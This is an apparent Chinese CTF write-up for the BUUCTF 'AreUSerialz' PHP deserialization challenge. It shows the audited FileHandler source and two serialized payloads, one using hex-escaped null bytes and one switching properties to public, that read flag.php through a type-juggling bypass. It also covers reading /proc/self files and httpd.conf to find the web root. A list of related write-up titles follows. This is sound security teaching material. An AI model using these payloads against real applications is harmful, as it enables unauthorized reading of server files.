打开靶场,是一道php代码审计的题目,是个反序列化的题目
分块对代码进行分析,先分析输入部分

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//限制字符串的范围return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str); //对传入的str的值进行反序列化}}

基本就是对输入的字符进行了一点过滤,然后进行反序列化。
然后,再分析类中的部分。去掉了__construct(),因为它在unserialize()时是不会自动调用的。反序列化会先调用__destruct()这个魔术方法,先从它开始分析。而且我们的目标是读取它包含的flag.php文件,不涉及写文件的操作,将不相关的代码删掉,方便分析。

class FileHandler {protected $op;protected $filename;protected $content;public function process() {      //我们需要让op的值为2,进行读文件操作if($this->op == "1") {$this->write();} else if($this->op == "2") { //弱类型比较$res = $this->read();    //读文件$this->output($res);    //输出文件} else {$this->output("Bad Hacker!");}}private function read() { //让filename的值为flag.php,就可以直接读取到flag了,//也可以使用伪协议php://filter:read=convert.base64-encode/resource=flag.php读取flag文件$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {     //对op的值进行强类型判断,这个地方可以用op = int 2 绕过,因为上面是弱类型进行比较的if($this->op === "2")$this->op = "1";$this->content = "";       //我们不写文件,所以跟content没有什么关系$this->process();            //调用process}}

综合一下,反序列化时,应该是op=2,filename=flag.php

这个地方直接使用序列化代码就可以直接得到flag了,我一开始不知道,后面会解释。我当时光想着源代码变量属性是protected,它在序列化后会出现不可见字符%00*%00,所以序列化也要加上这些东西。
而%00转化为ascii码会被is_valid()过滤掉。绕过的方法是在序列化内容中用大写S表示字符串,这时这个字符串就支持将后面的字符串用16进制表示。
最终构造的payload
O:11:“FileHandler”:3:{S:5:"\00*
\00op";i:2;S:11:"\00*\00filename";S:8:“flag.php”;S:10:"\00*\00content";N;}
查看源代码拿到flag

第二种方法,这是看了别人写的wp才知道的。
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
靶场php版本是7.4.3

所以可以直接使用下面这个payload,万万没想到啊。
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:0:"";}

还有一点点这个靶场外的东西,这个地方是文末的第一个链接的内容,而我菜鸡并没有参加这个比赛。
BUU复现的这道题不用考虑flag.php的路径问题,看了参赛大佬WP比赛环境的题目还要靠读取系统配置文件、容器配置文件来猜flag的绝对路径。
首先读取/proc/self/cmdline,得到如下结果。

linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用

得到取配置文件路径/web/config/httpd.conf,读取后获得网站的绝对路径。

然后读取/web/html/flag.php,得到flag

https://blog.csdn.net/Oavinci/article/details/106998738
https://forum.90sec.com/t/topic/331

[网鼎杯 2020 青龙组]AreUSerialz 1相关推荐

  1. [网鼎杯 2020 青龙组]AreUSerialz WP

    [网鼎杯 2020 青龙组]AreUSerialz WP 看到题目,首先进入代码审计 <?phpinclude("flag.php");//在文件中插入flag.php文件的 ...

  2. Buuctf[网鼎杯 2020 青龙组]AreUSerialz

    [网鼎杯 2020 青龙组]AreUSerialz 打开题目仔细阅读源码 <?phpinclude("flag.php"); highlight_file(__FILE__) ...

  3. [网鼎杯 2020 青龙组]AreUSerialz

    打开题目,获得一大段代码 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {prote ...

  4. [网鼎杯 2020 青龙组]AreUSerialz BUUCTF

    源码如下,代码审计: <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { pro ...

  5. undefsafe原型链[网鼎杯 2020 青龙组]notes

    感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜. 从浅入深 Javascript 原型链与原型链污染 [网鼎杯 2020 青龙组]notes var express = require('exp ...

  6. [网鼎杯 2020 青龙组]jocker

    [网鼎杯 2020 青龙组]jocker SMC(self-Modifying Code): 自修改代码,程序在执行某段代码的过程中会对程序的代码进行修改,只有在修改后的代码才是可汇编,可执行的.在程 ...

  7. BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker

    BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker 先看下文件信息,没有加壳,32位程序 运行一下,又是一道字符串比较的题目 用IDA32位打开,分析一下 // positive ...

  8. Buuctf [网鼎杯 2020 青龙组]jocker 题解

    目录 一.主函数逻辑 二.wrong函数和omg函数--假flag 1.wrong函数 2.omg函数 3.假flag 三.encrypt和finally函数--真flag 1.打开sp指针偏移显示 ...

  9. re -25 buuctf [网鼎杯 2020 青龙组]jocker

    [网鼎杯 2020 青龙组]jocker 前话:ida7.6设置栏内没有general,可以通过ctrl+shift+p打开命令面板,搜索option打开设置选项,于Disassembly设置堆栈显示 ...

最新文章

  1. Java assert关键字
  2. 通过注册表修改IE的Internet选项
  3. JAVA查找事件侦听代码_Java自定义事件处理程序和侦听器
  4. matlab mbuild setup,关于mbuild的一个问题
  5. python中Json、os、sys、hashlib等内置模块
  6. 史上最全!近千篇机器学习自然语言处理论文!都这儿了
  7. MySQL——高阶语句(上)
  8. 系统架构设计师考试 重要的部分
  9. python中形参*args和**kwargs简述
  10. 什么是千兆光纤收发器?其产品标准具体有哪些?
  11. ParserError: Error tokenizing data. C error: Expected 1 fields in line 122, saw 2
  12. JavaScript Try Catch:异常处理说明
  13. 创建用户赋权限_JMeter接口测试实战之「创建用户」篇
  14. Linux Centos firewall 防火墙 开启 80 端口配置案例
  15. python print退格_python退格输入
  16. seo清洗百万长尾词数据的策略
  17. 手把手教您怎么编写第一个单片机程序
  18. 【软件测试】时制转换时的电话账单
  19. IDE添加文件头@author信息
  20. 读《论人类不平等的起源和基础》

热门文章

  1. Word无法启动转换器mswrd632.wpc”方法
  2. 兴达易控CHNet-S7300MD西门子200/300/400PLCmpi转以太网处理器
  3. python抓取动态数据 A股上市公司基本信息
  4. MiniWebClient,3秒实现一个Web桌面程序(Windows平台)
  5. 2021华为软件精英挑战赛初赛baseline
  6. 今日头条面试——社招
  7. 高速公路视频监控系统的Bypass 工业以太网交换机特点
  8. 猎鹰重型火箭发射成功,背后夹杂着马斯克对AI毁灭人类的忧虑?
  9. 缓存 雪崩 穿透 击穿
  10. 产品价格及库存属性修改